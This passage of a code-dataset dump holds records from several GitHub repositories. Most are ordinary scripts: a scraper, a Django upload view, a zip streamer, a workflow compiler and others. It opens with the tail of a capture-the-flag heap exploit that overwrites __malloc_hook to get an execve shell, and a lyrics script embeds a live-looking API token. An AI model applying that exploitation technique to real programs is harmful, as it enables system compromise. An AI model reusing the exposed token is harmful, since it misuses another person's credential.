+2):\n write_on_page(page(i), b'\\x00' * 0x18)\n for i in range(0, 14):\n free_page(page(i))\n free_page(page(14))\n\n # 7 chunks from tcache 0x140\n for i in range(0, 7):\n allocate_page(psize(0x140))\n\n # chunks [7-9] will be used to get overlapping chunks\n allocate_page(psize(0x140)) # idx. 7\n allocate_page(psize(0x70)) # idx. 8\n allocate_page(psize(0x140)) # idx. 9\n allocate_page(psize(0x18)) # to prevent from top chunk consolidation, idx. 10\n\n # fill tcache 0x140\n for i in range(0, 7):\n free_page(page(i))\n\n # Free chunk 7. Later on when we will free chunk 9 we will want to consolidate it together with chunk 7.\n free_page(page(7))\n\n # Overwrite prev inuse bit located in chunk 9 header. This will also decrease size of chunk 9 from 0x140 to 0x100. Set the previous block size to 0x1b0 (0x140 + 0x70), so that block 9 thinks that blocks 7+8 is just one huge free block.\n write_on_page(page(8), b'8' * 0x60 + pack('1->2->..->6, top chunk\noverwrite_malloc_hook(libc_base)\n# invoke execve\nallocate_page(psize(0x18)) \n\n\np.interactive()","repo_name":"kscieslinski/CTF","sub_path":"pwn/pico2019/Ghost_Diary/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":5786,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"26"} +{"seq_id":"45225049890","text":"def migratoryBirds(arr):\r\n ids={}\r\n for i in arr:\r\n if i not in ids:\r\n ids[i]=1\r\n else:\r\n ids[i]+=1\r\n maximum= sorted(ids.keys(), key=lambda k: ids[k], reverse=True)\r\n max_type=ids[maximum[0]]\r\n equals=[]\r\n for i in maximum:\r\n if ids[i]==max_type:\r\n equals.append(i)\r\n return min(equals)\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\narr_count= int(input(\"Number of birds: \"))\r\n\r\narr = list(map(int, input(\"Types: \").rstrip().split()))\r\nprint(migratoryBirds(arr))","repo_name":"Nazrin221b/challengers-club-adventure","sub_path":"MS-WarmUp/migratory birds.py","file_name":"migratory birds.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"31142515092","text":"from game_functions import *\n\n\ndef main():\n identifier = greeting_screen()\n game(identifier)\n terminate()\n\n\nif __name__ == '__main__':\n pygame.init()\n os.environ['SDL_VIDEO_CENTERED'] = '1'\n pygame.display.set_caption(\"CLICKER\") # Название окна\n main()\n","repo_name":"RanKaz/Clicker","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"35487814661","text":"\"\"\" Calculate p(z|DM) for a given DM and survey\n\"\"\"\n\n# It should be possible to remove all the matplotlib calls from this\n# but in the current implementation it is not removed.\nimport argparse\nimport imp\nimport numpy as np\nimport os\n\nfrom zdm import iteration as it\nfrom zdm import io\nfrom zdm.craco import loading\n\nfrom IPython import embed\n\ndef main(pargs):\n \n import numpy as np\n from matplotlib import pyplot as plt\n\n \n\n from frb import mw\n from frb.figures.utils import set_fontsize \n\n from zdm import survey\n from zdm import parameters\n from zdm import cosmology as cos\n from zdm import misc_functions\n \n limits = (2.5, 97.5)\n \n if pargs.DM_ISM:\n DM_ISM = pargs.DM_ISM\n else:\n # Deal with coord\n from linetools import utils as ltu\n from linetools.scripts.utils import coord_arg_to_coord\n icoord = ltu.radec_to_coord(coord_arg_to_coord(pargs.coord))\n \n # NE 2001\n DM_ISM = mw.ismDM(icoord)\n DM_ISM = DM_ISM.value\n print(\"\")\n print(\"-----------------------------------------------------\")\n print(f\"NE2001 = {DM_ISM:.2f}\")\n\n # DM EG\n DM_EG = pargs.DM_FRB - DM_ISM - pargs.DM_HALO\n print(pargs.DM_FRB,DM_ISM,pargs.DM_HALO)\n # Cosmology\n state = parameters.State()\n cos.set_cosmology(state)\n cos.init_dist_measures()\n\n # Load Survey\n\n # get the grid of p(DM|z)\n zDMgrid, zvals,dmvals = misc_functions.get_zdm_grid(\n state, new=True, plot=False, method='analytic')\n\n # Suvey\n isurvey = survey.load_survey(pargs.survey, state, dmvals)\n\n # Grid\n igrid = misc_functions.initialise_grids(\n [isurvey], zDMgrid, zvals, dmvals, state, wdist=True)[0]\n PDM_z = igrid.rates # z, DM\n\n # Fuss\n iDM = np.argmin(np.abs(dmvals - DM_EG))\n PzDM = PDM_z[:, iDM] / np.sum(PDM_z[:, iDM]) / (zvals[1]-zvals[0])\n \n \n \n # Set zmax\n izmax = np.max(np.where(PzDM > 1e-10)[0])\n zmax = zvals[izmax]\n\n # Limits\n cum_sum = np.cumsum(PzDM)\n z_min = zvals[np.argmin(np.abs(cum_sum-limits[0]/100.))]\n z_max = zvals[np.argmin(np.abs(cum_sum-limits[1]/100.))]\n\n # Plot\n plt.clf()\n ax = plt.gca()\n ax.plot(zvals, PzDM)\n # set ranges\n plt.ylim(0,np.max(PzDM))\n\n # Limits\n for z in [z_min, z_max]:\n ax.axvline(z, color='red', ls='--')\n\n ax.set_xlim(0, zmax)\n\n ax.set_xlabel('z')\n ax.set_ylabel('P(z|DM) [Normalized]')\n set_fontsize(ax, 15.)\n plt.tight_layout()\n if pargs.output:\n plt.savefig(pargs.output)\n else:\n plt.show()\n\ndef james_fit():\n \"\"\"\n Returns best-fit parameters from James et al 2022 (Hubble paper)\n NOT updated with larger Emax from Science paper\n \"\"\"\n \n pset={}\n pset[\"lEmax\"] = 41.63\n pset[\"alpha\"] = -1.03\n pset[\"gamma\"] = -0.948\n pset[\"sfr_n\"] = 1.15\n pset[\"lmean\"] = 2.22\n pset[\"lsigma\"] = 0.57\n pset[\"lC\"] = 1.963\n \n return pset\n\ndef parse_args(options=None):\n # test for command-line arguments here\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-c\", type=str, help=\"Coordinates, e.g. J081240.7+320809 or 122.223,-23.2322 or 07:45:00.47,34:17:31.1 or FRB name (FRB180924)\")\n parser.add_argument(\"-i\", '--DM_ISM', type=float, help=\"Estimate for Galactic ISM contribution\")\n parser.add_argument('-d','--DM_FRB', type=float, help=\"FRB DM (pc/cm^3)\")\n parser.add_argument('-s','--survey',type=str, default='CRAFT/ICS', help=\"Name of survey [CRAFT/ICS, PKS/Mb]\")\n parser.add_argument('-H',\"--DM_HALO\", type=float, default=40., help=\"Assumed DM contribution from the Milky Way Halo (ISM is calculated from NE2001). Default = 40\")\n parser.add_argument('-o','--output',type=str, default=None, help=\"Name of output image file\")\n \n args = parser.parse_args()\n return args\n\ndef run():\n pargs = parse_args()\n main(pargs)\n\nrun()\n'''\n# Test\npython py/pz_given_dm.py -n 1 -m 100 -o tmp.out --clobber\n\n# \npython py/pz_given_dm.py -n 1 -m 250 -o Cubes/craco_H0_Emax_cube0.out --clobber\n\n'''\n","repo_name":"FRBs/zdm","sub_path":"zdm/scripts/pz_given_dm.py","file_name":"pz_given_dm.py","file_ext":"py","file_size_in_byte":4048,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"26"} +{"seq_id":"24947235354","text":"import scrapy\nfrom .. import const\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nfrom lxml import etree\nimport json\nfrom datetime import datetime\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\n\n\n\nclass PostsSpider(scrapy.Spider):\n\tname = 'vkas'\n\t# start_urls = [\"https://vkas.sudrf.ru/\"]\n\tstart_urls = const.urls\n\tallowed_domains = [\"vkas.sudrf.ru\"]\n\trules = {\n\t\tRule(follow=True)\n\t}\n\tcustom_settings = {\n\t\t'DEPTH_LIMIT': 0\n\t}\n\n\tdef parse(self, response):\n\t\tprint('currentURL: ', response.url)\n\t\tdef clean_texts(xpath, css_select='::text'):\n\t\t\tarray_of_texts = [x.css(css_select).extract_first() for x in response.xpath(xpath) if x]\n\t\t\ttexts = []\n\t\t\tfor x in array_of_texts:\n\t\t\t\tif x:\n\t\t\t\t\ttexts.append(x.strip())\n\t\t\t\telse:\n\t\t\t\t\ttexts.append(x)\n\t\t\treturn texts\n\n\t\tresponse.meta['next_page'] = ''\n\n\t\tdoc_num = clean_texts(const.DOC_NUM)\n\t\treceipt_date = clean_texts(const.RECEIPT_DATE)\n\t\tinfo = clean_texts(const.INFO)\n\t\tjudje = clean_texts(const.JUDJE)\n\t\tdecision_date = clean_texts(const.DECISION_DATE)\n\t\tdecision = clean_texts(const.DECISION)\n\t\tdate_of_legal_force = clean_texts(const.DATE_OF_LEGAL_FORCE)\n\t\tjudicial_acts = clean_texts(const.JUDICIAL_ACTS)\n\t\tjudicial_acts_hrefs = clean_texts(const.JUDICIAL_ACTS_HREFS, 'a ::attr(href)')\n\n\t\t# next_page_link = 'https://vkas.sudrf.ru/' + response.css(\n\t\t# \t\t\"a[title='Следующая страница']::attr(href)\").extract_first()[2:]\n\n\t\tcases = []\n\t\tfor i, doc in enumerate(doc_num):\n\t\t\turl = \"https://vkas.sudrf.ru\" + judicial_acts_hrefs[i]\n\t\t\tcase = {\n\t\t\t\t\"doc_num\": doc_num[i],\n\t\t\t\t\"receipt_date\": receipt_date[i],\n\t\t\t\t\"info\": info[i],\n\t\t\t\t\"judje\": judje[i],\n\t\t\t\t\"decision_date\": decision_date[i],\n\t\t\t\t\"decision\": decision[i],\n\t\t\t\t\"date_of_legal_force\": date_of_legal_force[i],\n\t\t\t\t\"judicial_acts\": judicial_acts[i],\n\t\t\t\t\"judicial_acts_url\": url\n\t\t\t}\n\t\t\tcases.append(case)\n\t\t\t# if len(cases) == 25:\n\t\t\t# \tyield scrapy.Request(\n\t\t\t# \t\turl=url,\n\t\t\t# \t\tcallback=self.parse_act,\n\t\t\t# \t\tmeta={\"case\": case, 'next_page': next_page_link}\n\t\t\t# \t)\n\t\t\t# else:\n\t\t\tyield scrapy.Request(\n\t\t\t\turl=url,\n\t\t\t\tcallback=self.parse_act,\n\t\t\t\tmeta={\"case\": case}\n\t\t\t)\n\n\t\t# print(len(cases))\n\t\t# if len(cases)+1 == 25:\n\t\t# \tyield scrapy.Request(\n\t\t# \t\turl=next_page_link,\n\t\t# \t\tcallback=self.parse_main_page,\n\t\t# \t)\n\t\t# \tprint(len(cases),\"nextpage: \", next_page_link)\n\n\tdef parse_act(self, response):\n\t\tact = [x.css(\"::text\").extract_first().strip() for x in response.xpath(\"//div[@id='content']/span/p\")]\n\t\tact = ' '.join(act)\n\t\tcase = response.meta['case']\n\t\tcase['judicial_acts'] = act\n\t\tyield case\n\t\t# meta_keys = response.meta.keys()\n\t\t# if 'next_page' in meta_keys:\n\t\t# \tif response.meta['next_page']:\n\t\t# \t\tprint('next Page')\n\t\t# \t\tyield scrapy.Request(\n\t\t# \t\t\turl=response.meta['next_page'],\n\t\t# \t\t\tcallback=self.parse_main_page,\n\t\t# \t\t)\n","repo_name":"Kabirov7/vkas","sub_path":"vkas/spiders/vkas.py","file_name":"vkas.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"20548157349","text":"from rest_framework.parsers import FileUploadParser\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom .forms import UploadFileForm\nfrom . import tasks\n\nimport csv\n\nclass FileUploadView(APIView):\n parser_classes = [FileUploadParser]\n\n def post(self, request, format=None):\n file = request.FILES['file']\n with open(file.temporary_file_path()) as fin:\n csv_reader = csv.DictReader(fin, delimiter=',')\n chunk_size = 1000\n chunk = list()\n unique_ids = set()\n for line in csv_reader:\n if line['uniq_id'] not in unique_ids:\n unique_ids.add(line['uniq_id'])\n if len(chunk) == chunk_size:\n tasks.insert_items.delay(chunk)\n chunk = list()\n \n new_item = {\n 'name': line['product_name'],\n 'category': 'imported item',\n 'price': line['price']\n }\n chunk.append(new_item)\n if len(chunk) > 0:\n tasks.insert_items.delay(chunk)\n\n return Response(status=200)","repo_name":"charzik/disthw","sub_path":"loader/items_importer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"7242836188","text":"import os\nimport eyed3\nfrom lyricsgenius import Genius\n\n# Get song lyrics\ndef get_lyrics(artist, song_title):\n # Connect to Genius API\n genius = Genius('1RDxZ-BUxmKFAeolkO_lTgEiIS9H7uMAPS2Bws4OvtLphm6vSHwJSBp_WiAPxD2b')\n\n # Get song data\n song = genius.search_song(song_title, artist)\n\n if song.lyrics:\n return song.lyrics\n else:\n return \"No lyrics found\"\n\n# Get all mp3s in folder and sub folders\ndef get_mp3s():\n for root, dirs, files in os.walk(\".\"):\n for file in files:\n if file.endswith(\".mp3\"):\n yield os.path.join(root, file)\n return file\n\ndef addallfolderslyricses():\n for mp3 in get_mp3s():\n # Get song data\n audiofile = eyed3.load(mp3)\n artist = audiofile.tag.artist\n song_title = audiofile.tag.title\n lyrics = get_lyrics(artist, song_title)\n \n # Write lyrics to mp3 metadata\n audiofile.tag.lyrics.set(lyrics)\n audiofile.tag.save()\n\n # Create folder for lyrics\n if not os.path.exists(artist):\n os.makedirs(artist)\n \n # Write lyrics to file\n with open(os.path.join(artist, song_title + \".txt\"), \"w\", encoding=\"utf-8\") as f:\n f.write(lyrics)\n\ndef addmusicslyrics(file_name):\n # Check if file exists\n if os.path.exists(file_name):\n audiofile = eyed3.load(file_name)\n artist = audiofile.tag.artist\n song_title = audiofile.tag.title\n lyrics = get_lyrics(artist, song_title)\n \n # Write lyrics to mp3 metadata\n audiofile.tag.lyrics.set(lyrics)\n audiofile.tag.save()\n else:\n print(\"File does not exist\")","repo_name":"P0p0vsk1/Zeta-Spotify-Downloader","sub_path":"lyrics.py","file_name":"lyrics.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"26"} +{"seq_id":"5094599576","text":"#\n# ZIP File streaming\n# based on official ZIP File Format Specification version 6.3.4\n# https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT\n#\nimport asyncio\nfrom .zipstream import ZipBase, Processor\nfrom concurrent import futures\ntry:\n import aiofiles\n aio_available = True\nexcept ImportError:\n aio_available = False\n\n\n__all__ = (\"AioZipStream\",)\n\n\nclass AioZipStream(ZipBase):\n \"\"\"\n Asynchronous version of ZipStream\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(AioZipStream, self).__init__(*args, **kwargs)\n\n def __get_executor(self):\n # get thread pool executor\n try:\n return self.__tpex\n except AttributeError:\n self.__tpex = futures.ThreadPoolExecutor(max_workers=1)\n return self.__tpex\n\n async def _execute_aio_task(self, task, *args, **kwargs):\n # run synchronous task in separate thread and await for result\n loop = asyncio.get_event_loop()\n return await loop.run_in_executor(self.__get_executor(),\n task, *args, **kwargs)\n\n def _create_file_struct(self, data):\n if 'file' in data:\n if not aio_available:\n raise Exception(\n \"aiofiles module is required to stream files asynchronously\")\n return super(AioZipStream, self)._create_file_struct(data)\n\n async def data_generator(self, src, src_type):\n if src_type == 's':\n async for chunk in src:\n yield chunk\n return\n if src_type == 'f':\n async with aiofiles.open(src, \"rb\") as fh:\n while True:\n part = await fh.read(self.chunksize)\n if not part:\n break\n yield part\n return\n\n async def _stream_single_file(self, file_struct):\n \"\"\"\n stream single zip file with header and descriptor at the end\n \"\"\"\n yield self._make_local_file_header(file_struct)\n pcs = Processor(file_struct)\n async for chunk in self.data_generator(file_struct['src'], file_struct['stype']):\n yield await self._execute_aio_task(pcs.process, chunk)\n chunk = await self._execute_aio_task(pcs.tail)\n # chunk = await pcs.aio_tail()\n if len(chunk) > 0:\n yield chunk\n yield self._make_data_descriptor(file_struct, *pcs.state())\n\n async def stream(self):\n # stream files\n for idx, source in enumerate(self._source_of_files):\n file_struct = self._create_file_struct(source)\n # file offset in archive\n file_struct['offset'] = self._offset_get()\n self._add_file_to_cdir(file_struct)\n # file data\n async for chunk in self._stream_single_file(file_struct):\n self._offset_add(len(chunk))\n yield chunk\n # stream zip structures\n for chunk in self._make_end_structures():\n yield chunk\n self._cleanup()\n","repo_name":"kbbdy/zipstream","sub_path":"zipstream/aiozipstream.py","file_name":"aiozipstream.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"26"} +{"seq_id":"20788317858","text":"# coding=utf-8\r\n\r\nimport sqlite3\r\nimport datetime\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nimport json\r\nimport requests\r\nfrom operator import itemgetter\r\nimport shutil\r\nimport os\r\nimport hashlib\r\n\r\nsqlite3db = 'test.db'\r\nconn = sqlite3.connect(sqlite3db)\r\nc = conn.cursor()\r\nnowTime = datetime.datetime.now().strftime('%Y-%m-%d')\r\nf = open(str(nowTime) + \"-Safety_news\" + '.txt', 'w+', encoding='utf-8')\r\n\r\ndef getmd5(filename):\r\n file_txt = open(filename, 'rb').read()\r\n m=hashlib.md5(file_txt)\r\n return m.hexdigest()\r\n\r\ndef delete_1(filepath):\r\n\r\n path = str(os.getcwd())\r\n# path = input(\"path: \")\r\n# all_md5 = {}\r\n all_size = {}\r\n total_file = 0\r\n total_delete = 0\r\n for file in os.listdir(filepath):\r\n total_file += 1\r\n real_path = os.path.join(filepath, file)\r\n if os.path.isfile(real_path) == True:\r\n size = os.stat(real_path).st_size\r\n name_and_md5 = [real_path, '']\r\n if size in all_size.keys():\r\n new_md5 = getmd5(real_path)\r\n if all_size[size][1] == '':\r\n all_size[size][1] = getmd5(all_size[size][0])\r\n if new_md5 in all_size[size]:\r\n os.remove(os.path.join(filepath, file))\r\n total_delete += 1\r\n else:\r\n all_size[size].append(new_md5)\r\n else:\r\n all_size[size] = name_and_md5\r\n\r\ndef freebuf_txt():\r\n url = \"https://www.freebuf.com/articles/web\"\r\n headers = {\r\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36'}\r\n wbdata = requests.get(url, headers=headers).text\r\n soup = BeautifulSoup(wbdata, 'lxml')\r\n news_titles = soup.select(\"div.title-left > a \")\r\n news_titles1 = soup.select(\"div.item-bottom > p > span\")\r\n #print(news_titles1)\r\n print('--------------------------freebuf--------------------------', file=f)\r\n for i,n in zip(news_titles1,news_titles):\r\n title = n.get_text()\r\n title2 = title.strip(\"\\n\")\r\n # link = n.get(\"href\")\r\n link = 'https://www.freebuf.com/' + n.get(\"href\")\r\n date_f = i.string\r\n data_freebuf = {\r\n '标题': title2,\r\n '链接': link,\r\n '日期': date_f\r\n }\r\n print(data_freebuf,file=f)\r\n\r\ndef sihou_txt():\r\n url = \"https://www.4hou.com/\"\r\n headers = {\r\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36'}\r\n wbdata = requests.get(url, headers=headers).text\r\n soup = BeautifulSoup(wbdata, 'lxml')\r\n news_titles = soup.select(\"div.new_con > a\")\r\n news_titles1 = soup.select(r\"div.avatar_box.newtime > span\")\r\n print('----------------------------4hou----------------------------',file=f)\r\n for i,n in zip(news_titles1,news_titles):\r\n date_f = n.string\r\n title = n.get_text()\r\n title2 = title.strip(\"\\n\")\r\n link = n.get(\"href\")\r\n date_f = i.string\r\n data_sihou = {\r\n '标题': title2,\r\n '链接': link,\r\n '日期': date_f\r\n }\r\n print(data_sihou,file=f)\r\n\r\n\r\ndef anquanke():\r\n url = \"https://www.anquanke.com/\"\r\n headers = {\r\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36'}\r\n wbdata = requests.get(url, headers=headers).text\r\n soup = BeautifulSoup(wbdata, 'lxml')\r\n news_titles = soup.select(\"div.info-content > div.title > a\")\r\n news_titles1 = soup.find_all('span', {'style': \"vertical-align: middle;\"})\r\n# print(news_titles1)\r\n print('----------------------------anquanke----------------------------',file=f)\r\n '''\r\n for i in news_titles1 :\r\n data_f = i.text\r\n print (data_f)\r\n '''\r\n for i,n in zip(news_titles1,news_titles):\r\n title = n.get_text()\r\n link = 'https://www.anquanke.com/' + n.get(\"href\")\r\n data_f = i.text.strip(\"\\n\")\r\n data_anquanke = {\r\n '标题': title,\r\n '链接': link,\r\n '日期': data_f\r\n }\r\n print(data_anquanke,file=f)\r\n\r\n############\r\ndef getNews():\r\n year = time.strftime(\"%Y\", time.localtime(time.time()))\r\n try:\r\n api = f\"https://api.github.com/search/repositories?q=poc+CVE-{year}&sort=updated\"\r\n response = requests.get(api).text\r\n data = json.loads(response)\r\n return data\r\n except Exception as e:\r\n print(e, \"Github链接不通\")\r\n\r\n\r\ndef parseData(index):\r\n item = items[index]\r\n cve_name = item['name']\r\n cve_url = item['svn_url']\r\n cve_des = item['description']\r\n if not cve_des: # 描述为空时会返回None\r\n cve_des = \"Null\"\r\n content = f\"{cve_name} --- {cve_url} --- {cve_des}\"\r\n return content\r\n\r\n\r\ndef getNews1():\r\n year1 = time.strftime(\"%Y\", time.localtime(time.time()))\r\n try:\r\n api1 = f\"https://api.github.com/search/repositories?q=EXP+CVE-{year1}&sort=updated\"\r\n response1 = requests.get(api1).text\r\n data1 = json.loads(response1)\r\n return data1\r\n except Exception as e:\r\n print(e, \"Github链接不通\")\r\n\r\n\r\ndef parseData1(index):\r\n item1 = items1[index]\r\n exp_name = item1['name']\r\n exp_url = item1['svn_url']\r\n exp_des = item1['description']\r\n if not exp_des: # 描述为空时会返回None\r\n exp_des = \"Null\"\r\n content1 = f\"{exp_name} --- {exp_url} --- {exp_des}\"\r\n return content1\r\n\r\n\r\nif __name__ == '__main__':\r\n freebuf_txt()\r\n sihou_txt()\r\n anquanke()\r\n total = 0\r\n total1 =0 # 初始化\r\n while True:\r\n data = getNews()\r\n data1 = getNews1()\r\n if total != data['total_count']:\r\n total = data['total_count']\r\n items = sorted(data['items'], key=itemgetter('id'), reverse=True) # 根据items中的id进行排序\r\n if total1 != data1['total_count']:\r\n total1 = data1['total_count']\r\n items1 = sorted(data1['items'], key=itemgetter('id'), reverse=True) # 根据items中的id进行排序\r\n content = parseData(0) # 返回最新的1条\r\n content1 = parseData1(0) # 返回最新的1条\r\n# print(\"------------------------------new_cve------------------------------\")\r\n# print('原始数据:',content)\r\n# print(\"------------------------------new_EXP------------------------------\")\r\n # print('原始数据:',content1)\r\n # time.sleep(60)\r\n break\r\nf.close()\r\n#处理github数据\r\ncve_content= str(content)\r\nexp_content1 = str(content1)\r\ncve_content = cve_content.split(\"---\")\r\nexp_content1 = exp_content1.split(\"---\")\r\n#处理cve 格式化参数\r\ncve_name = cve_content[0]\r\ncurl_addr = cve_content[1].lstrip().replace(',','')\r\ncdes_string = cve_content[2].lstrip()\r\n\r\n#处理exp 格式化参数\r\nexp_name = exp_content1[0]\r\neurl_addr = exp_content1[1].lstrip().replace(',','')\r\nedes_string = exp_content1[2].lstrip()\r\n\r\n\r\ntry:\r\n# Create table\r\n c.execute('''CREATE TABLE cve (id integer primary key autoincrement, name text, url text UNIQUE, Description text)''')\r\n c.execute('''CREATE TABLE exp (id integer primary key autoincrement, name text, url text UNIQUE, Description text)''')\r\n# 新建表xyz,若已有该表则忽略\r\n# CREATE TABLE IF NOT EXISTS cvetest1\r\n#在表mytable中插入一条记录,若存在即忽略\r\n#cur.execute(\"INSERT OR IGNORE INTO mytable (id,name) VALUES ('0','狗蛋')\")\r\n\r\nexcept Exception as e:\r\n#cve!\r\n try:\r\n c.execute('INSERT INTO cve (name,url,Description) VALUES (?, ? ,?)',\r\n (cve_name, curl_addr, cdes_string))\r\n# c.executemany('INSERT OR IGNORE INTO cve (name,url,Description) VALUES (?, ? ,?)',((cve_name, curl_addr, cdes_string)))\r\n#,(exp_name, eurl_addr, edes_string)\r\n# Insert a row of data\r\n except Exception as e:\r\n print(\"警告 cvedb数据插入失败\" ,\"错误:\",e)\r\n print(\"重复数据为:\", curl_addr)\r\n else:\r\n print(\"新数据插入cvedb成功!\")\r\n#exp!\r\n try:\r\n c.execute('INSERT INTO exp (name,url,Description) VALUES (?, ? ,?)',\r\n (exp_name, eurl_addr, edes_string))\r\n # c.executemany('INSERT OR IGNORE INTO cve (name,url,Description) VALUES (?, ? ,?)',((cve_name, curl_addr, cdes_string)))\r\n # ,(exp_name, eurl_addr, edes_string)\r\n # Insert a row of data\r\n except Exception as e:\r\n print(\"警告 expdb数据插入失败\" ,\"错误:\",e)\r\n print(\"重复数据为:\", eurl_addr)\r\n else:\r\n print(\"新数据插入expdb成功!\")\r\n\r\nelse:\r\n print('----------------------------')\r\n print(\"Welcome to try Safety news2!\")\r\n print('----------------------------')\r\n print('Create database test.db successfully!')\r\n print('----------------------------')\r\n print('cvetest.db in :',str(os.getcwd()))\r\n print('----------------------------')\r\n print('Run again to write data')\r\n print('----------------------------')\r\n\r\n\r\n\r\n# Save (commit) the changes\r\nfor row in c.execute('SELECT * FROM cve ORDER BY id'):\r\n print('新cve数据为:',row)\r\nfor row in c.execute('SELECT * FROM exp ORDER BY id'):\r\n print('新exp数据为:',row)\r\n#c.execute('delete from cve where id = 1')\r\n#c.execute('DROP TABLE cve')\r\nconn.commit()\r\nconn.close()\r\n\r\n\r\nsrc_dir_path = str(os.getcwd())\r\n# 存放复制文件的文件夹\r\nto_dir_path2 = str(os.getcwd()) + '\\\\' + 'Safety_news'\r\n\r\nkey1 = '-Safety_news'\r\n\r\nif not os.path.exists(to_dir_path2):\r\n os.mkdir(to_dir_path2, 1)\r\nif os.path.exists(src_dir_path):\r\n for file in os.listdir(src_dir_path):\r\n # is file\r\n if os.path.isfile(src_dir_path + '\\\\' + file):\r\n if key1 in file:\r\n shutil.move(src_dir_path + '\\\\' + file, to_dir_path2 + '\\\\' + file)\r\n delete_1(to_dir_path2)\r\n","repo_name":"wanpan1996/New_py","sub_path":"Safety_news_sqllite3.py","file_name":"Safety_news_sqllite3.py","file_ext":"py","file_size_in_byte":9991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"20182847158","text":"\n\nimport urllib.request\nfrom html.parser import HTMLParser\n\n\nclass TestParser(HTMLParser):\n\n\tdef handle_starttag(self, tagname, attribute):\n\t\tif tagname.lower() == 'a':\n\t\t\tfor i in attribute:\n\t\t\t\tif i[0].lower() == 'href':\n\t\t\t\t\tprint(i[1])\n\n\n\nurl = 'http://www.python-izm.com/'\n\nhtmldata = urllib.request.urlopen(url)\n\nparser = TestParser()\nparser.feed(htmldata.read().decode('UTF-8'))\n\nparser.close()\nhtmldata.close()\n\n\n\n\n\n\n\n","repo_name":"holothuria/python_study","sub_path":"応用編/45_HTML解析/モジュール/03_タグ情報の取得.py","file_name":"03_タグ情報の取得.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"30983794334","text":"from emit import Emitter\nfrom SpiffWorkflow.bpmn.serializer.workflow import BpmnWorkflowSerializer # type: ignore\nfrom SpiffWorkflow.bpmn.workflow import BpmnWorkflow\nfrom SpiffWorkflow.spiff.parser.process import SpiffBpmnParser\nfrom SpiffWorkflow.spiff.serializer.config import SPIFF_SPEC_CONFIG\n\n# TODO: revist this with the new Spiff\n# class Dependencies:\n\n# @classmethod\n# def compile_time_spec_converters(cls):\n# def sc_cls(tup):\n# return tup[0]\n\n# return list(map(sc_cls, cls.SPEC_CONVERTERS.values()))\n\n# @classmethod\n# def runtime_spec_converters(cls, tasks):\n# deps = set()\n# for task in tasks:\n# spec_type = task.task_spec.spec_type\n# if spec_type in cls.SPEC_CONVERTERS:\n# deps.add(cls.SPEC_CONVERTERS[spec_type][1])\n# return sorted(list(deps))\n\n\nclass Compiler:\n SERIALIZER_VERSION = \"1.0-supreme-spoon\"\n\n @classmethod\n def parse_workflow(cls, process, bpmn_files):\n parser = SpiffBpmnParser()\n parser.add_bpmn_files(bpmn_files)\n top_level = parser.get_spec(process)\n # how to detect subprocesses?\n # subprocesses = parser.find_all_specs()\n subprocesses = {}\n return BpmnWorkflow(top_level, subprocesses)\n\n @classmethod\n def get_serializer(cls):\n spec_converter = BpmnWorkflowSerializer.configure_workflow_spec_converter(\n SPIFF_SPEC_CONFIG\n )\n return BpmnWorkflowSerializer(spec_converter, version=cls.SERIALIZER_VERSION)\n\n @classmethod\n def get_spec_types(cls, tasks):\n spec_types = set()\n for task in tasks:\n spec_types.add(task.task_spec.spec_type)\n return spec_types\n\n @classmethod\n def build_manual_task_metadata(cls, task):\n task_spec = task.task_spec\n metadata = task_spec.extensions or {}\n if task_spec.description is not None:\n metadata[\"description\"] = task_spec.description\n if task_spec.documentation is not None:\n metadata[\"documentation\"] = task_spec.documentation\n return (task_spec.name, metadata)\n\n @classmethod\n def build_engine_step_metadata(cls, task):\n return task.task_spec.name\n\n @classmethod\n def build_grouped_task_metadata(cls, tasks):\n group_builder = {\n \"Manual Task\": (\"manual\", cls.build_manual_task_metadata),\n }\n default_group_builder = (\"engine\", cls.build_engine_step_metadata)\n groups = {}\n for task in tasks:\n spec_type = task.task_spec.spec_type\n group_key, metadata_builder = group_builder.get(\n spec_type, default_group_builder\n )\n if group_key not in groups:\n groups[group_key] = []\n group_metadata = groups[group_key]\n group_metadata.append(metadata_builder(task))\n return groups\n\n @classmethod\n def compile(cls, process, input_filename, output_filename):\n workflow = cls.parse_workflow(process, [input_filename])\n tasks = workflow.get_tasks()\n serialized = cls.get_serializer().workflow_to_dict(workflow)\n spec_types = cls.get_spec_types(tasks)\n grouped_task_metadata = 